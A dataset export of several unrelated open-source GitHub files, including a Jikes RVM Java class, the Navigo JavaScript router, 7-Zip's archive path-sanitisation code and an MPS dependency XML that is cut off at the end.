text
stringlengths
2
100k
meta
dict
/* * This file is part of the Jikes RVM project (http://jikesrvm.org). * * This file is licensed to You under the Eclipse Public License (EPL); * You may not use this file except in compliance with the License. You * may obtain a copy of the License at * * http://www.opensource.org/licenses/eclipse-1.0.php * * See the COPYRIGHT.txt file distributed with this work for information * regarding copyright ownership. */ package org.jikesrvm.osr.ia32; import static org.jikesrvm.ia32.StackframeLayoutConstants.STACKFRAME_RETURN_ADDRESS_OFFSET; import org.jikesrvm.VM; import org.jikesrvm.compilers.common.CodeArray; import org.jikesrvm.runtime.Magic; import org.jikesrvm.scheduler.RVMThread; import org.vmmagic.pragma.NoInline; import org.vmmagic.pragma.Uninterruptible; import org.vmmagic.unboxed.Address; import org.vmmagic.unboxed.Offset; /** * A class helps schedule OSRed method, it is called right after thread switch * and highly depends on the calling convention. It should not be interrupted * because it deals with row instruction address. */ @Uninterruptible public final class PostThreadSwitch { /** * This method must not be inlined to keep the correctness * This method is called at the end of threadSwitch, the caller * is threadSwitchFrom<...> * * @param myThread the currently running thread */ @NoInline public static void postProcess(RVMThread myThread) { /* We need to generate thread specific code and install new code. * We have to make sure that no GC happens from here and before * the new code get executed. */ // add branch instruction from CTR. CodeArray bridge = myThread.bridgeInstructions; Address bridgeaddr = Magic.objectAsAddress(bridge); if (VM.TraceOnStackReplacement) { VM.sysWriteln("osr post processing"); } Offset offset = myThread.tsFPOffset.plus(STACKFRAME_RETURN_ADDRESS_OFFSET); Magic.objectAsAddress(myThread.getStack()).store(bridgeaddr, offset); myThread.tsFPOffset = Offset.zero(); myThread.isWaitingForOsr = false; myThread.bridgeInstructions = null; // no GC should happen until the glue code gets executed. } }
{ "pile_set_name": "Github" }
////////////////////////////////////////////////////////////////////////////// // // License Agreement: // // The following are Copyright © 2007, Casey Langen // // Sources and Binaries of: win32cpp // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of the author nor the names of other contributors may // be used to endorse or promote products derived from this software // without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////////// #pragma once ////////////////////////////////////////////////////////////////////////////// // Forward declare namespace win32cpp { class Window; } ////////////////////////////////////////////////////////////////////////////// #include <win32cpp/Win32Config.hpp> #include <map> ////////////////////////////////////////////////////////////////////////////// namespace win32cpp { ////////////////////////////////////////////////////////////////////////////// ///\brief ///Use RedrawLock to stop the specified Window from being redrawn. ///Redrawing is automatically enabled on the Window when the RedrawLock's ///destructor is called. /// ///RedrawLock uses the the WM_SETREDRAW message, see. For more information ///see http://msdn2.microsoft.com/en-us/library/ms534853.aspx /// ///\code ///Splitter* mySplitter = ...; ///{ /// RedrawLock redrawLock(mySplitter) /// /// //... /// //perform operations to mySplitter /// //... /// ///} // mySplitter will be redrawn when redrawLock's destructor is called /// ///\endcode /// ///RedrawLock is safe against locking the same Window multiple times, recursively. ///The Window will not be redrawn until all locks have been destructed. struct RedrawLock { private: // types typedef std::map<HWND, unsigned> LockList; typedef LockList::iterator Iterator; public: // constructors, destructors /*ctor*/ RedrawLock(Window* window); /*dtor*/ ~RedrawLock(); private: // instance data HWND hwnd; private: // class data static LockList sLockList; }; ////////////////////////////////////////////////////////////////////////////// } // win32cpp
{ "pile_set_name": "Github" }
function isPushStateAvailable() { return !!( typeof window !== 'undefined' && window.history && window.history.pushState ); } function Navigo(r, useHash, hash) { this.root = null; this._routes = []; this._useHash = useHash; this._hash = typeof hash === 'undefined' ? '#' : hash; this._paused = false; this._destroyed = false; this._lastRouteResolved = null; this._notFoundHandler = null; this._defaultHandler = null; this._usePushState = !useHash && isPushStateAvailable(); this._onLocationChange = this._onLocationChange.bind(this); this._genericHooks = null; this._historyAPIUpdateMethod = 'pushState'; if (r) { this.root = useHash ? r.replace(/\/$/, '/' + this._hash) : r.replace(/\/$/, ''); } else if (useHash) { this.root = this._cLoc().split(this._hash)[0].replace(/\/$/, '/' + this._hash); } this._listen(); this.updatePageLinks(); } function clean(s) { if (s instanceof RegExp) return s; return s.replace(/\/+$/, '').replace(/^\/+/, '^/'); } function regExpResultToParams(match, names) { if (names.length === 0) return null; if (!match) return null; return match .slice(1, match.length) .reduce((params, value, index) => { if (params === null) params = {}; params[names[index]] = decodeURIComponent(value); return params; }, null); } function replaceDynamicURLParts(route) { var paramNames = [], regexp; if (route instanceof RegExp) { regexp = route; } else { regexp = new RegExp( route.replace(Navigo.PARAMETER_REGEXP, function (full, dots, name) { paramNames.push(name); return Navigo.REPLACE_VARIABLE_REGEXP; }) .replace(Navigo.WILDCARD_REGEXP, Navigo.REPLACE_WILDCARD) + Navigo.FOLLOWED_BY_SLASH_REGEXP , Navigo.MATCH_REGEXP_FLAGS); } return { regexp, paramNames }; } function getUrlDepth(url) { return url.replace(/\/$/, '').split('/').length; } function compareUrlDepth(urlA, urlB) { return getUrlDepth(urlB) - getUrlDepth(urlA); } function findMatchedRoutes(url, routes = []) { return routes .map(route => { var { regexp, paramNames } = replaceDynamicURLParts(clean(route.route)); var match = url.replace(/^\/+/, '/').match(regexp); var params = regExpResultToParams(match, paramNames); return match ? { match, route, params } : false; }) .filter(m => m); } function match(url, routes) { return findMatchedRoutes(url, routes)[0] || false; } function root(url, routes) { var matched = routes.map( route => route.route === '' || route.route === '*' ? url : url.split(new RegExp(route.route + '($|\/)'))[0] ); var fallbackURL = clean(url); if (matched.length > 1) { return matched.reduce((result, url) => { if (result.length > url.length) result = url; return result; }, matched[0]); } else if (matched.length === 1) { return matched[0]; } return fallbackURL; } function isHashChangeAPIAvailable() { return typeof window !== 'undefined' && 'onhashchange' in window; } function extractGETParameters(url) { return url.split(/\?(.*)?$/).slice(1).join(''); } function getOnlyURL(url, useHash, hash) { var onlyURL = url, split; var cleanGETParam = str => str.split(/\?(.*)?$/)[0]; if (typeof hash === 'undefined') { // To preserve BC hash = '#'; } if (isPushStateAvailable() && !useHash) { onlyURL = cleanGETParam(url).split(hash)[0]; } else { split = url.split(hash); onlyURL = split.length > 1 ? cleanGETParam(split[1]) : cleanGETParam(split[0]); } return onlyURL; } function manageHooks(handler, hooks, params) { if (hooks && typeof hooks === 'object') { if (hooks.before) { hooks.before((shouldRoute = true) => { if (!shouldRoute) return; handler(); hooks.after && hooks.after(params); }, params); return; } else if (hooks.after) { handler(); hooks.after && hooks.after(params); return; } } handler(); } function isHashedRoot(url, useHash, hash) { if (isPushStateAvailable() && !useHash) { return false; } if (!url.match(hash)) { return false; } let split = url.split(hash); return split.length < 2 || split[1] === ''; } Navigo.prototype = { helpers: { match, root, clean, getOnlyURL }, navigate: function (path, absolute) { var to; path = path || ''; if (this._usePushState) { to = (!absolute ? this._getRoot() + '/' : '') + path.replace(/^\/+/, '/'); to = to.replace(/([^:])(\/{2,})/g, '$1/'); history[this._historyAPIUpdateMethod]({}, '', to); this.resolve(); } else if (typeof window !== 'undefined') { path = path.replace(new RegExp('^' + this._hash), ''); window.location.href = window.location.href .replace(/#$/, '') .replace(new RegExp(this._hash + '.*$'), '') + this._hash + path; } return this; }, on: function (...args) { if (typeof args[0] === 'function') { this._defaultHandler = { handler: args[0], hooks: args[1] }; } else if (args.length >= 2) { if (args[0] === '/') { let func = args[1]; if (typeof args[1] === 'object') { func = args[1].uses; } this._defaultHandler = { handler: func, hooks: args[2] }; } else { this._add(args[0], args[1], args[2]); } } else if (typeof args[0] === 'object') { let orderedRoutes = Object.keys(args[0]).sort(compareUrlDepth); orderedRoutes.forEach(route => { this.on(route, args[0][route]); }); } return this; }, off: function (handler) { if (this._defaultHandler !== null && handler === this._defaultHandler.handler) { this._defaultHandler = null; } else if (this._notFoundHandler !== null && handler === this._notFoundHandler.handler) { this._notFoundHandler = null; } this._routes = this._routes.reduce((result, r) => { if (r.handler !== handler) result.push(r); return result; }, []); return this; }, notFound: function (handler, hooks) { this._notFoundHandler = { handler, hooks: hooks }; return this; }, resolve: function (current) { var handler, m; var url = (current || this._cLoc()).replace(this._getRoot(), ''); if (this._useHash) { url = url.replace(new RegExp('^\/' + this._hash), '/'); } let GETParameters = extractGETParameters(current || this._cLoc()); let onlyURL = getOnlyURL(url, this._useHash, this._hash); if (this._paused) return false; if ( this._lastRouteResolved && onlyURL === this._lastRouteResolved.url && GETParameters === this._lastRouteResolved.query ) { if (this._lastRouteResolved.hooks && this._lastRouteResolved.hooks.already) { this._lastRouteResolved.hooks.already(this._lastRouteResolved.params); } return false; } m = match(onlyURL, this._routes); if (m) { this._callLeave(); this._lastRouteResolved = { url: onlyURL, query: GETParameters, hooks: m.route.hooks, params: m.params, name: m.route.name }; handler = m.route.handler; manageHooks(() => { manageHooks(() => { m.route.route instanceof RegExp ? handler(...(m.match.slice(1, m.match.length))) : handler(m.params, GETParameters); }, m.route.hooks, m.params, this._genericHooks); }, this._genericHooks, m.params); return m; } else if (this._defaultHandler && ( onlyURL === '' || onlyURL === '/' || onlyURL === this._hash || isHashedRoot(onlyURL, this._useHash, this._hash) )) { manageHooks(() => { manageHooks(() => { this._callLeave(); this._lastRouteResolved = { url: onlyURL, query: GETParameters, hooks: this._defaultHandler.hooks }; this._defaultHandler.handler(GETParameters); }, this._defaultHandler.hooks); }, this._genericHooks); return true; } else if (this._notFoundHandler) { manageHooks(() => { manageHooks(() => { this._callLeave(); this._lastRouteResolved = { url: onlyURL, query: GETParameters, hooks: this._notFoundHandler.hooks }; this._notFoundHandler.handler(GETParameters); }, this._notFoundHandler.hooks); }, this._genericHooks); } return false; }, destroy: function () { this._routes = []; this._destroyed = true; this._lastRouteResolved = null; this._genericHooks = null; clearTimeout(this._listeningInterval); if (typeof window !== 'undefined') { window.removeEventListener('popstate', this._onLocationChange); window.removeEventListener('hashchange', this._onLocationChange); } }, updatePageLinks: function () { var self = this; if (typeof document === 'undefined') return; this._findLinks().forEach(link => { if (!link.hasListenerAttached) { link.addEventListener('click', function (e) { if((e.ctrlKey || e.metaKey) && e.target.tagName.toLowerCase() == 'a'){ return false; } var location = self.getLinkPath(link); if (!self._destroyed) { e.preventDefault(); self.navigate(location.replace(/\/+$/, '').replace(/^\/+/, '/')); } }); link.hasListenerAttached = true; } }); }, generate: function (name, data = {}) { var result = this._routes.reduce((result, route) => { var key; if (route.name === name) { result = route.route; for (key in data) { result = result.toString().replace(':' + key, data[key]); } } return result; }, ''); return this._useHash ? this._hash + result : result; }, link: function (path) { return this._getRoot() + path; }, pause: function (status = true) { this._paused = status; if (status) { this._historyAPIUpdateMethod = 'replaceState'; } else { this._historyAPIUpdateMethod = 'pushState'; } }, resume: function () { this.pause(false); }, historyAPIUpdateMethod: function (value) { if (typeof value === 'undefined') return this._historyAPIUpdateMethod; this._historyAPIUpdateMethod = value; return value; }, disableIfAPINotAvailable: function () { if (!isPushStateAvailable()) { this.destroy(); } }, lastRouteResolved() { return this._lastRouteResolved; }, getLinkPath(link) { return link.getAttribute('href'); }, hooks(hooks) { this._genericHooks = hooks; }, _add: function (route, handler = null, hooks = null) { if (typeof route === 'string') { route = encodeURI(route); } this._routes.push( typeof handler === 'object' ? { route, handler: handler.uses, name: handler.as, hooks: hooks || handler.hooks } : { route, handler, hooks: hooks } ); return this._add; }, _getRoot: function () { if (this.root !== null) return this.root; this.root = root(this._cLoc().split('?')[0], this._routes); return this.root; }, _listen: function () { if (this._usePushState) { window.addEventListener('popstate', this._onLocationChange); } else if (isHashChangeAPIAvailable()) { window.addEventListener('hashchange', this._onLocationChange); } else { let cached = this._cLoc(), current, check; check = () => { current = this._cLoc(); if (cached !== current) { cached = current; this.resolve(); } this._listeningInterval = setTimeout(check, 200); }; check(); } }, _cLoc: function () { if (typeof window !== 'undefined') { if (typeof window.__NAVIGO_WINDOW_LOCATION_MOCK__ !== 'undefined') { return window.__NAVIGO_WINDOW_LOCATION_MOCK__; } return clean(window.location.href); } return ''; }, _findLinks: function () { return [].slice.call(document.querySelectorAll('[data-navigo]')); }, _onLocationChange: function () { this.resolve(); }, _callLeave() { const lastRouteResolved = this._lastRouteResolved; if (lastRouteResolved && lastRouteResolved.hooks && lastRouteResolved.hooks.leave) { lastRouteResolved.hooks.leave(lastRouteResolved.params); } } }; Navigo.PARAMETER_REGEXP = /([:*])(\w+)/g; Navigo.WILDCARD_REGEXP = /\*/g; Navigo.REPLACE_VARIABLE_REGEXP = '([^\/]+)'; Navigo.REPLACE_WILDCARD = '(?:.*)'; Navigo.FOLLOWED_BY_SLASH_REGEXP = '(?:\/$|$)'; Navigo.MATCH_REGEXP_FLAGS = ''; export default Navigo;
{ "pile_set_name": "Github" }
local test = require 'pl.test' local LUA_VERSION = _VERSION print(LUA_VERSION) -- if STRICT is true, then M is distinct from _ENV, and ONLY contains -- the exported functions! local _ENV,M = require 'pl.import_into' (rawget(_G,'STRICT')) function answer () -- of course, you don't have the usual global environment available -- so define it as a local up above, or use utils.import(_G). local versioned_errors = { ["1"] = "attempt to call global 'print'", ["2"] = "attempt to call global 'print'", ["3"] = "attempt to call a nil value", ["4"] = "attempt to call a nil value", } local expected = versioned_errors[LUA_VERSION:match("Lua 5.(%d)")] test.assertraise(function() print 'hello' end, expected) -- but all the Penlight modules are available return pretty.write(utils.split '10 20 30', '') end return M
{ "pile_set_name": "Github" }
// ExtractingFilePath.cpp #include "StdAfx.h" #include "../../../Common/Wildcard.h" #include "../../../Windows/FileName.h" #include "ExtractingFilePath.h" bool g_PathTrailReplaceMode = #ifdef _WIN32 true #else false #endif ; static void ReplaceIncorrectChars(UString &s) { { for (unsigned i = 0; i < s.Len(); i++) { wchar_t c = s[i]; if ( #ifdef _WIN32 c == ':' || c == '*' || c == '?' || c < 0x20 || c == '<' || c == '>' || c == '|' || c == '"' || c == '/' // || c == 0x202E // RLO || #endif c == WCHAR_PATH_SEPARATOR) s.ReplaceOneCharAtPos(i, '_'); } } if (g_PathTrailReplaceMode) { /* // if (g_PathTrailReplaceMode == 1) { if (!s.IsEmpty()) { wchar_t c = s.Back(); if (c == '.' || c == ' ') { // s += (wchar_t)(0x9c); // STRING TERMINATOR s += (wchar_t)'_'; } } } else */ { unsigned i; for (i = s.Len(); i != 0;) { wchar_t c = s[i - 1]; if (c != '.' && c != ' ') break; i--; s.ReplaceOneCharAtPos(i, '_'); // s.ReplaceOneCharAtPos(i, (c == ' ' ? (wchar_t)(0x2423) : (wchar_t)0x00B7)); } /* if (g_PathTrailReplaceMode > 1 && i != s.Len()) { s.DeleteFrom(i); } */ } } } #ifdef _WIN32 /* WinXP-64 doesn't support ':', '\\' and '/' symbols in name of alt stream. But colon in postfix ":$DATA" is allowed. WIN32 functions don't allow empty alt stream name "name:" */ void Correct_AltStream_Name(UString &s) { unsigned len = s.Len(); const unsigned kPostfixSize = 6; if (s.Len() >= kPostfixSize && StringsAreEqualNoCase_Ascii(s.RightPtr(kPostfixSize), ":$DATA")) len -= kPostfixSize; for (unsigned i = 0; i < len; i++) { wchar_t c = s[i]; if (c == ':' || c == '\\' || c == '/' || c == 0x202E // RLO ) s.ReplaceOneCharAtPos(i, '_'); } if (s.IsEmpty()) s = '_'; } static const unsigned g_ReservedWithNum_Index = 4; static const char * const g_ReservedNames[] = { "CON", "PRN", "AUX", "NUL", "COM", "LPT" }; static bool IsSupportedName(const UString &name) { for (unsigned i = 0; i < ARRAY_SIZE(g_ReservedNames); i++) { const char *reservedName = g_ReservedNames[i]; unsigned len = MyStringLen(reservedName); if (name.Len() < len) continue; if (!name.IsPrefixedBy_Ascii_NoCase(reservedName)) continue; if (i >= g_ReservedWithNum_Index) { wchar_t c = name[len]; if (c < L'0' || c > L'9') continue; len++; } for (;;) { wchar_t c = name[len++]; if (c == 0 || c == '.') return false; if (c != ' ') break; } } return true; } static void CorrectUnsupportedName(UString &name) { if (!IsSupportedName(name)) name.InsertAtFront(L'_'); } #endif static void Correct_PathPart(UString &s) { // "." and ".." if (s.IsEmpty()) return; if (s[0] == '.' && (s[1] == 0 || s[1] == '.' && s[2] == 0)) s.Empty(); #ifdef _WIN32 else ReplaceIncorrectChars(s); #endif } // static const char * const k_EmptyReplaceName = "[]"; static const char k_EmptyReplaceName = '_'; UString Get_Correct_FsFile_Name(const UString &name) { UString res = name; Correct_PathPart(res); #ifdef _WIN32 CorrectUnsupportedName(res); #endif if (res.IsEmpty()) res = k_EmptyReplaceName; return res; } void Correct_FsPath(bool absIsAllowed, bool keepAndReplaceEmptyPrefixes, UStringVector &parts, bool isDir) { unsigned i = 0; if (absIsAllowed) { #if defined(_WIN32) && !defined(UNDER_CE) bool isDrive = false; #endif if (parts[0].IsEmpty()) { i = 1; #if defined(_WIN32) && !defined(UNDER_CE) if (parts.Size() > 1 && parts[1].IsEmpty()) { i = 2; if (parts.Size() > 2 && parts[2] == L"?") { i = 3; if (parts.Size() > 3 && NWindows::NFile::NName::IsDrivePath2(parts[3])) { isDrive = true; i = 4; } } } #endif } #if defined(_WIN32) && !defined(UNDER_CE) else if (NWindows::NFile::NName::IsDrivePath2(parts[0])) { isDrive = true; i = 1; } if (isDrive) { // we convert "c:name" to "c:\name", if absIsAllowed path. UString &ds = parts[i - 1]; if (ds.Len() > 2) { parts.Insert(i, ds.Ptr(2)); ds.DeleteFrom(2); } } #endif } if (i != 0) keepAndReplaceEmptyPrefixes = false; for (; i < parts.Size();) { UString &s = parts[i]; Correct_PathPart(s); if (s.IsEmpty()) { if (!keepAndReplaceEmptyPrefixes) if (isDir || i != parts.Size() - 1) { parts.Delete(i); continue; } s = k_EmptyReplaceName; } else { keepAndReplaceEmptyPrefixes = false; #ifdef _WIN32 CorrectUnsupportedName(s); #endif } i++; } if (!isDir) { if (parts.IsEmpty()) parts.Add((UString)k_EmptyReplaceName); else { UString &s = parts.Back(); if (s.IsEmpty()) s = k_EmptyReplaceName; } } } UString MakePathFromParts(const UStringVector &parts) { UString s; FOR_VECTOR (i, parts) { if (i != 0) s.Add_PathSepar(); s += parts[i]; } return s; }
{ "pile_set_name": "Github" }
--- fixes: - | Previously the RHEL registration script disabled the satellite repo after installing the necessary packages from it. This makes it awkward to update those packages later, so the repo will no longer be disabled.
{ "pile_set_name": "Github" }
import _plotly_utils.basevalidators class MetasrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__(self, plotly_name="metasrc", parent_name="box", **kwargs): super(MetasrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs )
{ "pile_set_name": "Github" }
var baseProperty = require('./_baseProperty'); /** * Gets the size of an ASCII `string`. * * @private * @param {string} string The string inspect. * @returns {number} Returns the string size. */ var asciiSize = baseProperty('length'); module.exports = asciiSize;
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <dependenciesRoot> <dependency className="constraints.test.constraints.ConstraintsAspectDescriptor"> <classNode dependClassName="constraints.test.constraints.TestConstraintsInheritance_Base_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestConstraintsInheritance_Derived1_Constrained_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestConstraintsInheritance_Derived2_Constrained_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestConstraintsInvocation_CanBeAncestorFail_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestConstraintsInvocation_CanBeChildFail_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestConstraintsInvocation_CanBeParentFail_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_BaseReference_Handler_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_BaseReference_Scoping_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_SubReference_HandlerSuperHandler_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_SubReference_HandlerSuperScoping_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_SubReference_ScopingSuperHandler_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_SubReference_ScopingSuperScoping_Constraints" /> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_Target_Constraints" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.lang.smodel.ConceptSwitchIndex" /> <classNode dependClassName="jetbrains.mps.lang.smodel.ConceptSwitchIndexBuilder" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.ids.MetaIdFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.BaseConstraintsAspectDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestConstraintsInheritance_Base_Constraints"> <classNode dependClassName="java.lang.Boolean" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_CanBeChild" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SInterfaceConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestConstraintsInheritance_Derived1_Constrained_Constraints"> <classNode dependClassName="java.lang.Boolean" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_CanBeChild" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SInterfaceConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestConstraintsInheritance_Derived2_Constrained_Constraints"> <classNode dependClassName="java.lang.Boolean" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_CanBeChild" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SInterfaceConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestConstraintsInvocation_CanBeAncestorFail_Constraints"> <classNode dependClassName="java.lang.Boolean" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_CanBeAncestor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestConstraintsInvocation_CanBeChildFail_Constraints"> <classNode dependClassName="java.lang.Boolean" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_CanBeChild" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestConstraintsInvocation_CanBeParentFail_Constraints"> <classNode dependClassName="java.lang.Boolean" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_CanBeParent" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_BaseReference_Handler_Constraints"> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_Constants" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="java.util.HashMap" /> <classNode dependClassName="java.util.Map" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsDescriptor" /> <classNode 